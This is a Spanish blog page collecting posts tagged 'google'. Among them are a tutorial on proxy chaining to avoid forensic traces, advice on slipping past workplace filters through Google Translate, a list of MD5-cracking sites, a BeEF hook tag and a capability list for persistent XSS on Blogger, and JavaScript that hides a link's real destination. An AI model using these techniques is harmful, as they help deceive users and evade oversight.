Mostrando entradas con la etiqueta google. Mostrar todas las entradas
Mostrando entradas con la etiqueta google. Mostrar todas las entradas
Metiendo mano en el hardware

En este artículo voy a relatar una de las experiencias más satisfactorias que he tenido lidiando con hardware.

Este viernes encendí mi computadora de escritorio y al poco tiempo mi monitor lamentablemente se "murió". Era Es un monitor Samsung modelo SyncMaster740N LCD de 17" 4:3. Se trata de un modelo bastante común, ya que es usado generalmente en cibercafés, oficinas, etc.

Al poco tiempo de encender la computadora, la pantalla se volvió negra, como cuando se activa el ahorro de energía, pero la luz de power permaneció encendida (cuando está en ahorro de energía se mantiene parpadeando). Primero pensé en un problema de video por lo que reinicié la computadora sin éxito. Luego apagué y encendí el monitor repetidas veces y tampoco tuve éxito.

En ese momento me sentí frustrado al pensar en tener que afrontar un gasto de aproximadamente U$S 250, sobretodo teniendo en cuenta que el monitor tiene sólo 5 años de vida. Pero pensé que tal vez podría tener arreglo y, tocando botones de configuración y mirando detenidamente la pantalla, me dí cuenta que se veía una ventana muy pero muy tenuemente (con buena luz ambiente y prestando mucha atención). Parecía como si el monitor funcionara correctamente, aunque sin brillo o iluminación (la pantalla se veía opaca como la de una calculadora de bolsillo, aunque mucho más tenue).

Inmediatamente me puse a investigar en Internet y descubrí que a alguien ya le había sucedido exactamente lo mismo (http://www.fixya.com/support/t4636238-samsung_740n_blank_screen). Desde hace un tiempo el monitor emitía un zumbido extraño pero funcionaba correctamente, hasta que un día la pantalla se puso negra. Aparentemente los zumbidos se deben a capacitores en mal estado.

En otro sitio descubrí que cuando la pantalla se vuelve oscura pero se pueden ver las ventanas, significa que el problema son las backlights. Las backlights son una especie de pequeños tubos fluorescentes que se ubican detrás (o al costado) del panel LCD para darle iluminación y brillo a la pantalla y así producir una imagen visible. Esto se debe porque, a diferencia de las pantallas CRT, los paneles LCD no producen luz por sí mismos (http://en.wikipedia.org/wiki/Backlight). Entonces el problema podía estar en las backlights mismas o en el circuito que las alimenta. Aunque el zumbido que emitía el monitor hasta el momento de apagarse indicaba que el problema era algún capacitor en mal estado.

En un foro que me resultó extremadamente útil (http://www.yoreparo.com/foros/plasma_lcd/falla-lcd-samsung-740n-t259814.html) encontré la respuesta a mi problema:
Atención reparadores de monitores SAMSUNG 740 N, 17 pulgadas. Al cabo de tres años de funcionamiento, estos monitores fallan debido a la temperatura que alcanza la fuente de alimentación, por cierto muy mal ventilada.

Deja de funcionar la fuente de la lámpara del panel, sin embargo, el monitor sigue trabajando normalmente (se comprueba al abrir el menu de ajustes, porque se puede ver muy tenuemente)

Los primeros en fallar son tres capacitores de 820 uF/25v que filtran la etapa previa a los exitadores de la fuente de 650 v, 17 mA
(c112, c111, c301) extrañamente de un color distinto a los demas (marrones), se ve que son de inferior calidad. Con la temperatura se inchan y se desvalorizan. Tambien salta un pico fusible de 3A (ubicado entre medio de una pegamento blanco entre el disipador de D105 y los capacitores nombrados. Reemplazando estos se soluciona. [sic]

A eso se resume básicamente mi experiencia, podría cerrar el artículo en este punto pero voy a continuar explicando los detalles.

Esperanzado me puse a desensamblar el monitor y en un principio me resultó imposible ya que no tiene tornillos. Me puse a buscar en Google y encontré un manual (http://www.eserviceinfo.com/downloadsm/28685/Samsung_740N.html) del fabricante donde explica paso a paso como desarmar y armar el monitor con fotos (muy bueno, asombrosa la calidad de los manuales de Samsung). De forma increíble todo el monitor es sostenido por la carcasa de plástico, la cual se mantiene unida con unas pequeñas trabitas de plástico (afortunadamente no se rompió ninguna al desarmarlo, como me ha sucedido otras veces al tratar de desarmar otros dispositivos como radios, controles remotos, etc.).


En la foto se observa el monitor completamente destripado. Al examinar los componentes de la plaqueta rápidamente me dí cuenta que los tres capacitores indicados en el post del foro yoreparo.com estaban "inflados", incluso uno tenía un sedimento en la parte superior. Esto es algo que aprendí cuando cursaba taller de electrónica en la secundaria: si un capacitor está inflado significa que está roto. Por eso es uno de los componentes más fáciles de detectar.


En la foto se ve claramente la parte superior inflada (notar la diferencia con los otros capacitores).

El siguiente paso fue retirar del circuito los capacitores dañados. Esto se debe realizar cuidadosamente para no dañar el resto de los componentes. Con un soldador de estaño (si se dispone uno de baja potencia, por ejemplo 15W, mejor) se calientan las patas y se va tirando del capacitor suavemente y alternando entre patas hasta removerlo completamente.

Con uno de los capacitores me dirigí a la casa de electrónica más cercana (ninguna realmente cercana así que tuve que patear bastante) para buscar los recambios. Estos capacitores son de 820uF y son difíciles de conseguir, entonces tuve que comprar de 1000uF. Además no conseguí de 105º, los que compré son de 85º (espero que aguanten la temperatura elevada hasta que pueda conseguir de 105º).

Procedí entonces a instalar los nuevos capacitores. Primero se debe eliminar el estaño de la pista (sería ideal disponer de un removedor de soldadura) y luego colocar la pieza. Se debe prestar extrema atención al colocar los capacitores electrolíticos, ya que estos poseen polaridad. Si se conectan de forma inversa van a, literalmente, explotar (lo cual por cierto es muy divertido http://www.youtube.com/watch?v=ipiyP6Cph9M). En la plaqueta y en el capacitor se indica claramente el polo negativo. De todas formas hay que revisar la polaridad antes de soldar y antes de conectar.

La forma adecuada de soldar es calentar con la punta del soldador la pista y la pata al mismo tiempo y luego aplicar la cantidad suficiente de estaño. Si la pista o la pieza están frías la soldadura será defectuosa y seguramente no hará contacto, por lo que hay que tener cuidado al realizar la unión. Luego se corta el excedente de pata y se revisa cuidadosamente la pista para que no queden puentes de estaño entre pistas contiguas.


Bien, lo que quedaba era ensamblar precariamente el monitor para poder comprobar el correcto funcionamiento. En la primera prueba que hice el monitor no encendió, por ello tuve que volver al post encontrado en yoreparo.com para darme cuenta que también el picofusible podía estar quemado. De hecho lo estaba, para darme cuenta simplemente hice un puente en el fusible y el monitor encendió, para mi alegría.


Dado que no conseguí hasta el momento un picofusible de repuesto, lo reemplacé con un fusible común de 3A y probé continuidad con el tester para comprobar que estuviera todo OK.
Luego de terminada la reparación, ensamblé el monitor y lo probé con la notebook.


Perfetto!


El costo total de la reparación fue de aproximadamente U$S 2.

Conclusión: vale la pena intentar reparar las cosas :)

Espero que les haya gustado.
Compilar fuentes Java online
Pregunta: ¿Qué pasa si necesitamos compilar un fuente Java y no disponemos de un JDK en la workstation donde estamos trabajando?
Respuesta: Buscá en Google.

"En Internet está todo"

Esa fue la frase que solté cuando encontré esta herramienta muy útil, que nos puede sacar de un apuro. Leyendo un libro sobre programación en Java me surgieron dudas y necesité probar un ejemplo rápido. El problema era que no disponía de javac en la máquina donde estaba trabajando, y no tenía ganas de descargar e instalar el JDK.
Buscando en Google encontré este servicio muy útil que nos permite compilar fuentes java: JXXX Compiler Service.


El mismo permite subir archivos fuente y librerías y compilar el código. Si hubo errores durante el proceso de compilación, el servicio devuelve la salida de javac. Lo más interesante que tiene, es que si estamos compilando un applet lo incluirá directamente en la página para probar su funcionamiento.
Aunque el servicio es realmente útil, no lo utilizaría para compilar código propietario ya que estamos enviando nuestro código a terceros y no sabemos que harán con él (además de compilarlo). Pero nos sirve perfectamente para compilar código de prueba y sacarnos de un apuro.

Veamos un ejemplo utilizando el siguiente código:
class A {
}

class B extends A {
}

class C {
}

class test {
public static void main(String[] args) {
A a = new A();
B b = new B();
if (b instanceof A) {
System.out.println("b is an A");
}
else {
System.out.println("b is NOT an A");
}
}
}

Si compilamos el código anterior introduciendo un error, obtenemos lo siguiente:


Luego, corregimos el error y podemos descargar el código fuente Java compilado .class:


Ahora podemos descargar y ejecutar el .class:



Espero que les sirva!
Cómo descifrar un hash MD5 online
Aloe Vera
Este fin de semana me encontré con la necesidad de descifrar un password hasheado con md5. Para ello estuve a punto de utilizar el viejo y querido John the Ripper, pero un segundo antes se me ocurrió buscar alguna herramienta online que haga el trabajo por mí. Motivado por la vagancia, pero también para hacerlo más rápidamente (aprovechando la nube o rainbow tables), encontré buscando en Google este muy buen artículo: How to crack MD5 passwords online, el cual contiene una lista de servicios para reconstruir texto digerido mediante md5.
La mayoría de estos sitios utilizan rainbow tables (grandes tablas de hashes precomputados) con el objetivo de intercambiar tiempo de ejecución por memoria. De esta forma el resultado logrado es muy rápido (si es exitoso). Aunque también algunos utilizan diccionarios.

A continuación dejo la lista de servicios que realizan esta tarea. Les recomiendo que lean el artículo original, ya que el autor incluye una valuación de los mismos (calculada como la cantidad de hashes encontrados de un conjunto de 10):
www.tmto.org
md5.noisette.ch
md5decryption.com
www.c0llision.net
www.netmd5crack.com
www.md5decrypter.com
md5hashcracker.appspot.com
www.hashhack.com
isc.sans.edu
www.md5crack.com
passcracking.com
authsecu.com
md5.rednoize.com
md5.web-max.ca
www.cmd5.com
md5.thekaine.de
www.shell-storm.org
www.md5this.com
www.hashchecker.com
hashcrack.com
md5pass.com
md5pass.info

Cabe destacar que algunos de estos sitios incluyen una herramienta para generar hashes md5. No es recomendable utilizarlas para calcular hashes de nuestras contraseñas, ya que no sabemos si guardan los hashes que calculamos en sus bases de datos, lo cual las vuelve 100% crackeables ;)

Para lograr mi objetivo, tomé el primer servicio de la lista y obtuve el texto hasheado (admin1234) en 3.55 segundos. Lo que más me molestó fue que había probado sin éxito varias contraseñas, entre las que se encontraban 'admin', '1234' y 'admin123' pero no 'admin1234'!



Para finalizar, dejo un excelente artículo que explica cómo utilizar Google como password cracker (a esta altura creo que a Google le descubren más propiedades que al Aloe Vera). La justificación de esta técnica es que a veces los programadores incluyen hashes md5 en la URL (para ver la explicación detallada les recomiendo lean el artículo), lo que transforma a las bases de datos de Google en rainbow tables.


No me deja de sorprender la cantidad de tareas útiles que se pueden realizar utilizando Google, la mayoría de las cuales con propósitos o fines no pensados en un simple buscador. Es aquí donde uno toma conocimiento del verdadero poder y valor de la información.

Espero que les sirva!
236 troyanos en el disco C:\

Recientemente tuve que reparar un Windows XP infectado con un bonito virus polimórfico (W32.Sality). Este virus infecta los archivos ejecutables en discos locales, removibles y shares de smb. Además crea una botnet P2P y, lo mejor de todo, deshabilita todo software de seguridad instalado (léase antivirus). Esto último que parece tan peligroso en realidad es una debilidad, ya que lo pone en evidencia y permite detectar fácilmente que el sistema está infectado (un virus indetectable es mucho más peligroso ya que puede controlar un sistema durante mucho tiempo).

En el sitio de Symantec se puede leer una descripción completa del mismo. Aparentemente es un virus antiguo ya que se originó en Rusia (que novedad jeje) por el 2003. Se infecta reemplazando el código en el punto de entrada de los ejecutables para redirigir al código polimórfico, que se encripta y se adiciona en la última sección de los archivos.

Como comenté anteriormente, la forma de detectarlo fue fácil: desapareció el ícono del antivirus (en este caso ClamWin) de la barra de tareas de Windows XP y era imposible tratar de iniciarlo. Luego de escanear los discos utilizando clamav (desde un Linux instalado en otra partición, aunque podría ser también desde un livecd) se detectaron una gran cantidad de infecciones en archivos .exe.

Para remover el virus sin acudir a simple pero tediosa "formateada/reinstalada" utilicé una herramienta de AVG hecha a medida para este caso. Aunque previamente tuve que reparar la registry ya que Windows era incapaz de arrancar en modo a prueba de fallos a causa del virus.

Luego de desinfectar completamente el sistema utilizando la herramienta de AVG (tardó unas tres horas aproximadamente) el mismo volvió a funcionar correctamente, sin rastros del virus.


Ahora, que tiene que ver todo esto con el título del artículo?

Luego de escanear el sistema con clamav pasé un tiempo investigando el virus y la forma de removerlo. En un foro, no recuerdo cual, encontré un link al sitio www.virustotal.com.



Este sitio me pareció de lo más útil y original. Te deja subir un archivo infectado, lo escanea con una variedad de antivirus y te muestra el resultado. En ese momento me sirvió para confirmar el tipo de virus que tenía infectado, pero luego sentí curiosidad por probar este sitio un poco más. Para esto me puse a buscar virus y ver resultados:



Luego me dí cuenta que también es posible enviar una URL, por lo que me puse a buscar sitios maliciosos (de scam o malware) y ver que resultados tenía. Fue cuando me encontré con este espectacular sitio de malware:



Este sitio primero muestra un alert diciendo algo como "Se ha detectado actividad sospechosa en su sistema y a continuación será escaneado en busca de virus" Jaaa! es muy bueno. Luego se abre una imitación, muy bien lograda, del explorador de archivos de Windows con una barra de progreso del escaneo, el cual detecta 236 troyanos en el disco C:

Menuda infección jeje. Luego de este simulacro se redirige a la descarga de un archivo ejecutable y el resto se imaginarán.

De esta forma se puede ver un sitio de malware en acción, realmente brillante, sobretodo teniendo en cuenta que me apareció en la segunda página de la búsqueda en Google de la palabra "keygen". Esta clase de sitios pueden engañar a una gran cantidad de usuario de Windows, por eso no sorprende la cantidad y el tamaño de las botnets.

Procedí a escanear este sitio con VIRUS TOTAL el cual me mostró el siguiente resultado:



Me pareció raro que no todas las herramientas lo detectaran como sitio de malware. También me pareció raro que Google Safebrowsing lo detecte como sitio de malware pero aparezca en la segunda página de la búsqueda de la palabra "keygen" en Google Search... Cuestiones de Google.

En definitiva, VIRUS TOTAL, una excelente herramienta para tener a mano para analizar archivos sospechosos y sitios de scam.

Para finalizar les dejo unas recomendaciones:

  • Mantengan su software antivirus actualizado (todos los días)

  • Eviten visitar sitios sospechosos/desconocidos

  • Tengan cuidado dónde hacen clic, siempre revisen las direcciones de los links que aparecen en la barras de estado de los browsers

  • Mucho más cuidado con las descargas y archivos adjuntos

  • Escaneen absolutamente todo lo que descarguen antes de abrir/ejecutar, por más tedioso que sea es preferible esto antes que enfrentarse a la pérdida de datos



Saludos y feliz 2011!!!

P.D.: Espero que el título del artículo resulte tan "vendedor" como el sitio de malware desde donde lo obtuve!
Usando Google como Web proxy

Hoy estaba leyendo este interesante artículo que trata la ciberguerra que se ha desatado entre los defensores y detractores de Wikileaks (yo soy un defensor de Wikileaks), y por esas cosas de Internet terminé en cualquier otra cosa.
Estaba husmeando los posts en twitter del nefasto th3j35t3r, un payaso que se dedica a provocar ataques DDoS contra diferentes sitios, la mayoría musulmanes, y que además se encargó de efectuar estos ataques contra Wikileaks ("for attempting to endager the lives of our troops, 'other assets' & foreign relatios").

La cuestion es que se me ocurrió visitar uno de estos sitios musulmanes """terroristas""" por
simple curiosidad, y me encotré con estos chirimbolos indescifrables del idioma árabe. Entonces decidí utilizar Google translate para pasar la página al idioma inglés y entender algo.
El sitio en sí era bastante aburrido, pero lo interesante fue que al ver la URL en la barra de direcciones de Firefox, se me ocurrió utilzar a Google como Web proxy (para aquellos que no sepan que es un proxy, pueden buscar en Wikipedia y leer mi artículo anterior).

Además de ocultar nuestro trasero, un proxy nos permite acceder a sitios no permitidos por la política de nuestro dominio (en mi caso, un proxy que filtra, entre otros sitios, facebook, twitter, etc).
Esto nos muestra una vez más cómo se puede abusar de un servicio tan inofensivo como Google translate.

Veamos cómo funciona paso a paso:

Primero veamos con qué IP salimos a Internet visitando el sitio ip-adress.com:



Se observa que salimos con una dirección 200.x.x.x perteneciente a nuestra organización. Ahora ingresamos a Google translate y colocamos la URL en el cuadro de traducción:



Google translate nos muestra la misma página pero dentro de un frame. Observamos que la dirección es ahora 74.125.114.80 que corresponde con un servidor de Google:



Para finalizar, probamos ingresar a un sitio no permitido, como es linkedin en mi caso:



La página no se ve correctamente, pero al menos se puede acceder ;)

De esta forma logramos utilizar a Google como Web proxy.

Espero que lo disfruten!
Proxy chaining... or how to hide your ass
A veces es necesario no dejar rastros cuando accedemos a sistemas de terceros. Sea cual sea el motivo (supongamos que es por razones nobles) y si es un sistema sensible, queremos asegurarnos de quedar lo más ocultos posibles y no dejar huellas como direcciones IP, footprints de encabezados HTTP, etc.

Para esto siempre es conveniente utilizar un servidor proxy como un intermediario que accede al servidor objetivo por nosotros y luego nos devuelve los resultados. De esta forma, si el servidor objetivo loguea nuestra actividad en el sistema, quien quedará "escrachado" en los logs será el proxy en lugar de nosotros. Así quedamos cubiertos en caso de un eventual análisis forense en el servidor objetivo.

Pero... Puede suceder que el análisis forense consulte al proxy y éste entregue información sobre nuestros accesos, lo que nos pondría en evidencia. Esta situación nos obliga a ocultar aún más nuestro rastro utilizando un proxy en el proxy. Es decir un intermediario del intermediario, para crear una cadena lo suficientemente larga que nos oculte más.

Esta técnica que consiste en conectarse a más de un proxy se denomina "proxy chaining". Cuanto mayor sea la cadena más ocultos estaremos, aunque cabe aclarar que no importa cuantos proxies agreguemos a la cadena, nunca seremos 100% anónimos.

De todas formas hay que ocultar nuestro trasero lo más que se pueda...


Proxy chaining

El proceso es bastante simple, primero ingresaremos en algún sitio como whatismyip.com para detectar con qué dirección IP salimos a Internet:


Se observa que nuestra dirección IP es 200.x.x.x. Este sitio además nos informa que estamos saliendo a Internet a través de un proxy.

Luego buscamos en Google una lista de servidores proxy abiertos (sin usuario ni password) y gratuitos:


El sitio Proxy 4 Free es uno de los primeros que aparece en la búsqueda. Es conveniente ordenar los servidores por Rating o Uptime:


Para nuestro ejemplo, el primero que elegí, al azar, fue online proxi:


Ahora, utilizando el cuadro de URL del proxy (no el de nuestro browser) accedemos a whatismyip para ver desde qué dirección IP se hace el pedido HTTP:


Se observa que ahora la dirección IP que hace el pedido HTTP es 173.224.217.162. Hasta ahora estamos ocultos detrás de un sólo proxy. Para comenzar la cadena, vamos a ingresar la dirección del siguiente proxy en el cuadro de URL del primer proxy. Como segundo proxy utilicé openet.info:


Ingresamos a whatismyip desde el cuadro de URL de openet.info y observamos que ahora la dirección IP que hace el pedido HTTP es 94.75.216.169:


Como se observa en la captura anterior, ahora tenemos dos cabeceras de proxy. La primera, de color amarillo, corresponde al proxy online proxi; la segunda, de color gris, corresponde a openet.info.
Siguiendo con el proceso de chaining agregamos otro servidor proxy a la cadena. Esta vez se trata de Safety Proxy:


Ingresamos a whatismyip nuevamente y se observa la dirección 67.159.44.24:


Ahora se observa una cabecera adicional, la cual aparece arriba de las dos anteriores. En el campo de URL de esta cabecera es donde debemos realizar nuestros pedidos HTTP.
Cabe aclarar que cuanto mayor sea la cantidad de servidores proxy que agregamos a la cadena, más lenta se torna la navegación ya que todos los pedidos y respuestas deben atravesar toda la cadena.

El siguiente gráfico muestra la cadena de servidores proxy que atraviesan nuestros pedidos hasta llegar al servidor objetivo:


Que lo disfruten!
Nueva extensión para Firefox: Firesheep

La llegada de Firesheep (una extensión de Firefox que automatiza algo que se podía hacer manualmente utilizando Wireshark desde hace años) revolucionó el mundo. Firesheep permite capturar cookies de otras personas esnifeando redes inseguras para luego loguearse en sus cuentas Web. Por ejemplo, me conecto a una red insegura (como una red inalámbrica abierta), luego "pepito" (que se encuentra conectado a la misma red) se loguea en facebook, utilizando Firesheep obtengo la cookie de "pepito" en facebook y a continuación entro a la cuenta de "pepito" en facebook. Así de simple.

El éxito de esta herramienta radica en que basta hacer un par de clics para robar una cuenta Web, algo al alcance de cualquiera, a diferencia de: abrir Wireshark; capturar tráfico de la red insegura; filtrar la captura; copiar el contenido de una cookie; insertar la cookie en el navegador; y finalmente ingresar al sitio.

Debido a esto, creo, va a provocar un caos en las redes inalámbricas abiertas ya que ahora cualquier afiliado al PAMI te hace un session hijacking con 2 clics, que bien :). Aunque por el momento sólo está disponible para Windows y Mac OS, que mal :(

Cabe destacar que esto no es sólo una vulnerabilidad de las redes inalámbricas abiertas, sino que aplica también para las redes cableadas no switcheadas (y switcheadas también, haciendo un previo ataque ARP poisoning).

Pueden ver un video sobre esta herramienta en acción aquí.

Lo más interesante de esta clase de vulnerabilidad es que pone en tela de juicio la seguridad de la llamada """Web 2.0""" y el nivel de adopción de SSL. Un estudio realizado por Digital Society clasificó el nivel de seguridad de los sitios más importantes como Facebook, Google, Twitter, Hotmail, etc. Les recomiendo leer este excelente artículo: Online services security report card. Como siempre, Google a la vanguardia:



Espero que sirva para concientizar, y la próxima vez que se conecten a una red inalámbrica abierta no envíen credenciales sin utilizar HTTPS!

Saludos!
Google sugiere...
Desde que Google incorporó las sugerencias en su buscador he visto cosas de lo más extrañas. Esperar las sugerencias cuando estoy escribiendo las palabras clave de mi búsqueda es casi una forma de diversión. Para aquellos que no comprenden cómo funciona, Google guarda las búsquedas realizadas por todas las personas según su popularidad. Por lo tanto las sugerencias son las búsquedas similares que realizaron la mayoría de las personas. Luego Google utiliza la frase que escribimos en el cuadro de búsqueda como índice de una (gran) tabla de sugerencias.
Por qué me resulta divertido? Porque es divertido ver qué es lo que busca la mayoría de la gente. Si no me creen, prueben ingresando algunas de las siguientes frases y esperen las sugerencias de Google (sin presionar el botón "Buscar"). Que lo disfruten!

"como hacer para"



"de quien esta"



"mi mujer no"



"como se puede"



"que hago si"



"como hago para que"



Busquen más sugerencias divertidas y comenten! Gracias.
news: atacan Google, Adobe y otras grandes empresas gracias a IE6!
Hace rato que no publico noticias (en gran parte porque hay muchos blogs de noticias), pero hoy tengo una muy interesante.

Durante diciembre le dieron duro a varias grandes empresas como Google o Adobe utilizando un exploit en Internet Explorer 6 que permite remote code execution. Según Google, fueron víctimas de un ataque altamente sofisticado y coordinado, mediante el cual les robaron información y accedieron a cuentas Gmail de activistas por los derechos humanos.
Otras empresas que reportaron ataques fueron Yahoo, Northrop Grumman y Dow Chemical, por nombrar algunas de las 34 que se vieron afectadas.
Al parecer los hackers utilizan el exploit para instalar el troyano Hydraq el cual les permite acceder a la red corporativa.
Los rumores dicen que el gobierno Chino está detrás del ataque, debido a que el código del exploit es tan sofisticado que sólo pudo haber sido descubierto con el respaldo de un organismo muy interesado en los resultados. Gracias a esto, Google, como contraataque, dejó de censurar los resultados de su buscador para los navegantes chinos.

Estos ataques recibieron el nombre "Operación Aurora", nombre con el cual pueden encontrar muchos posts en internet, además del código para utilizarlo >=)
En exploit database pueden descargar un ejemplo del código en python listo para ser testeado. Este aprovecha la vulnerabilidad y nos abre la calculadora de Windows. Yo lo probé y funciona perfecto, el antivirus ni se entera.
Metasploit también agregó el exploit a su base de datos, así que si actualizan el framework, lo tendrán a su disposición. En el blog de metasploit pueden encontrar información sobre cómo utilizarlo.

Y de qué va la vulnerabilidad? Bueno, al parecer es posible acceder a un puntero inválido después de que se borra un objeto. Armando un ataque especial, intentando acceder al objeto liberado, es posible causar remote code execution.

El problema resultó tan serio que el gobierno alemán salió a pedir a sus usuarios que dejen de utilizar IE hasta que los de MS parchen el agujero.
Por su parte, MS pide a sus usuarios que actualicen a IE8, aunque admiten que tanto IE7 como 8 también son vulnerables al problema.

Igualmente MS sigue con su política "parcho cuando YO quiero" y el parche para este problema está planeado para el 9 de febrero!!! Realmente es de no creer!

Mi recomendación? ya se deben imaginar... no usen IE!, ni Windows! Pero bueno, si no les queda otra que usar Windows, al menos prueben Firefox u Opera.

Algunas referencias para leer son:
- Attack code used to hack Google now public
- Hack of Google, Adobe Conducted Through Zero-Day IE Flaw
- Microsoft Says Upgrade To IE8, Even Though It's Vulnerable
XSS es aceptable en blogger... arreglense navegantes!
Hace unos días cuando estaba investigando sobre XSS, se me ocurrió probar algunas cosas en blogger, estando prácticamente seguro de que iba a encontrar mucho... y así fue.

Si bien es sabido que blogger nos permite agregar todo tipo de JavaScript, uno podría pensar que hacen algún tipo de validación y eliminan ciertos ataques XSS... y la realidad es que, no lo hacen.

Hay que ser justos y comentar que si hacen controles en los comentarios, donde no es posible realizar éstos ataques, pero le da total libertad a el/los escrito/res del blog para insertar lo que tengan ganas.

Esto permite al blogger utilizar el blog como punto de ataque utilizando la confianza que pueden tener los lectores en un site como éste.
Realmente es muy fácil caer en blogs de blogger haciendo búsquedas en sites como google. Además blogger incorpora en todos los blogs un buscador de blogs, y el botón siguiente blog que nos lleva ciegamente a otros blogs.

Como recordarán de los artículos de XSS, entre los ataques más graves están el robo de cookies y utilizar el XSS Shell. El robo de cookies no es posible en blogger porque las cookies se manejan desde el site de google y hacen algunos artilugios para armar los IDs. Pero si es posible utilizar XSS Shell.

Utilizar algún framework como BeEF es tan simple como agregar el script <script language='Javascript' src="http://localhost/beef/hook/beefmagic.js.php"></script> en algún post.
En ese mismo post podríamos poner datos atractivos, como hablar de un famoso muerto recientemente... cualquiera que lea algún blog como el de TrendMicro sabe de cómo los cybercriminales envenenan los resultados de google utilizando algún dato hot como la muerte de famosos.
Ahora, un usuario que busca datos sobre dicho famoso quizás confíe más en un artículo de blogger que el de alguna página rara... es ahí donde está el problema con todo esto, la confianza del usuario en blogger y la poca bola que le da blogger al XSS persistente!

Una vez que las víctimas caen, qué podemos hacer? si leyeron mi anterior artículo sabrán que mucho, como ser:
- Obtener página actual
- Ejecutar JavaScript arbitrario
- Obtener los movimientos del mouse
- Obtener las teclas presionadas (keylogger)
- Crashear el browser
- Acceso a páginas a través de la víctima (proxy/tunneling)
- Obtener historial de páginas visitadas
- Escaneo distribuido de puertos
- Bindshell IPC (enviar comandos a otra máquina en la LAN de la máquina zombie)
- Utilizar exploits para lograr shells usando metasploit
- Otros.......

Cito el XSS Shell porque es el más abarcativo de los ataques XSS, así que piensen en que pueden hacer prácticamente cualquier cosa.

Qué dice google a todo esto? bueno en mi caso nada... les escribí hace dos semanas y como esperaba, no obtuve respuesta al respecto... les di tiempo antes de publicar esto aca, aunque no estoy contando nada que no se hubieran imaginado. Igual por las dudas esperé un tiempo razonable.

El que si tuvo más suerte fue RSnake. Bueno, al menos a un hacker tan conocido como RSnake le contestan, yo soy un simple entusiasta argentino =P
Igualmente la respuesta obtenida no fue muy alentadora. Básicamente lo que le dijeron a este famoso hacker fue: "el XSS en Google Apps es el comportamiento esperado". Básicamente ellos se ocupan de que no se puedan robar las cookies, todo lo demás es algo aceptado y se lavan las manos. El artículo completo lo pueden leer en XSS Hole In Google Apps Is "Expected Behavior". Como pueden observar, el artículo data del 2007 y todo sigue igual, así que no esperen muchos cambios en el futuro...

Cabe aclarar que este artículo está libre de XSS persistente, así que sigan navegando tranquilos... buuuuuu =P
Ocultando URLs con JavaScript
No se si muchos lo habrán notado, pero uno suele confiar en las urls que aparecen en la barra de estado del navegador cuando colocamos el mouse sobre un link. Bueno, esto no debería ser así!

Hace ya bastante tiempo que observo que si hacemos mouse over sobre los resultados devueltos por google, vemos la dirección real de la página a la que hace referencia. Esto me puso a pensar... google mantiene muchas estadísticas de los usuarios, así que si colocan directamente la dirección de una página en sus resultados, ellos no tienen forma de darse cuenta si clickeamos un link o no... debe haber algo detrás!
Bien, hoy ya no pude más con la incertidumbre, así que le di un vistazo al código de la página y encontré la verdad oculta. Esto me dio pie para explicar algunas formas simples de ocultar el destino real de un link y engañar al usuario.

Hay algunas formas de ocultar la URLs para engañar al usuario... la más simple es escribir una dirección de url entre tags <a></a> (osea, lo que se ve en el browser), pero hacer que el puntero apunte a otra dirección. Por ejemplo si tenemos el siguiente link <A HREF="http://tehackeo.com">http://www.google.com</A> el usuario verá en el browser la dirección http://www.google.com, pero el enlace realmente apunta a http://tehackeo.com. Esto es un engaño bastante simple y usado incluso en los e-mails falsos, y puede despistar a los más básicos. Si colocamos el mouse sobre el link, en la barra de estado veremos la dirección real del link.

Algo que se podía hacer hace algún tiempo, era modificar desde Java Script lo que el browser muestra en el status bar, usando la propiedad window.status. Por suerte en los browsers modernos removieron esta facilidad. En firefox si miran en about:config veran que la propiedad dom.disable_window_status_change está en true, osea, que no podemos modificar el valor de la barra de estado.

Otra forma para ocultar la url real usando Java Script, es hacer no solo que el link falso aparezca en el cuerpo de la página, sino también en la barra de estado del browser y además en el código html! De esta forma, podemos lograr un mejor efecto, haciendo creer al usuario que accede a donde cree, mientras lo redirigimos a donde queremos =D

La forma en que google resuelve esto es bastante simple, utilizar la función de JS onMouseDown para reescribir la url justo en el momento en que el usuario hace click y lograr que el resultado sea un acceso a google y no a la página real... mágico?... no, bastante simple pero efectivo. De esta forma, no sólo la dirección aparecerá en el status bar, sino que también aparecerá en el código html!, y tendremos que revisar una función de Java Script bastante codificada para entender el resultado final.
Para que se den una idea, ustedes pueden utilizar un código como el siguiente:
<A HREF="http://www.google.com" onMouseDown="return codifica(this);">http://www.google.com<A>
<SCRIPT>
function codifica(link)
{
link.href="http://tehackeo.com";
link.onmousedown = "";
return true;
}
</SCRIPT>
Con ese sencillo código despistaremos hasta a los usuarios avanzados que no se tomaron el tiempo de analizar el código HTML... y es lo que suele pasar. Imaginense, uno no se la pasa mirando el código HTML de todas las páginas que visita para saber si las URLs que sigue son válidas o no. Pero el problema es que podemos terminar en una página con cualquier tipo de malware, cuando en realidad capaz queríamos ver la página de un amigo! =P

Más allá del uso maligno de este código, también nos sirve para demostrar que Google nos observa constantemente... estén alerta =P
news: HTML 5 no hay acuerdo, agujero en ActiveX, iPhone hackeado
Y si bien la semana pasada nos alegrábamos por la incorporación de HTML 5 en Firefox 3.5, hace varios días vengo leyendo que los desarrolladores de los distintos browsers todavía no se han puesto de acuerdo sobre cuáles deben ser los codecs a utilizar para la reproducción multimedia. Si bien Mozilla y Opera han optado por Ogg Theora, Apple y Google favorecen a H.264/MPEG-4 AVC. Dado que Google soportará ambos codecs, sólo Apple sería el que no soporte Ogg Theora. Por su parte Microsoft no ha anunciado ninguna intención de soportar HTML 5...
Como siempre, la estandarización en cuanto a la web sigue siendo complicada y los fabricantes no se ponen de acuerdo. Espero que esto cambie porque los que terminan sufriendo el problema son los desarrolladores de aplicaciones web...

-----------------------------
Cambiando de tema, hoy encontré un advisory que publicó MS ayer sobre una vulnerabilidad en un control ActiveX de Microsoft Video que ya está siendo explotada, pero para la cual aún no existe parche. Si todavía sos tan kamikaze como para seguir utilizando Internet Explorer en lugar de un browser de verdad, te aconsejo que leas y apliques lo dicho en la página de MS. Como no hay parche disponible, lo único que se puede hacer es desactivar dicho control (el cual al parecer no sirve para nada más que ser atacable).

-----------------------------
La última de las noticias de este post se refiere a algo que leí hace unos días. Según distintas páginas, Apple está trabajando para arreglar una vulnerabilidad, reportada de forma privada, que podría permitir a un atacante instalar y ejecutar remótamente software no firmado con permisos de root.
El ataque en cuestión utiliza una debilidad en el manejo de mensajes de texto recibidos por SMS... siiii te hackean por SMS!!! re groso!!!
Si vivis en un país en el que el iPhone es comprable, o si tenes el suficiente dinero para mostrarles a los demás que tenes un teléfono mejor que la porquería del usuario promedio, seguro te interesará leer más en infoworld, f-secure, o slashdot.
Software Wars
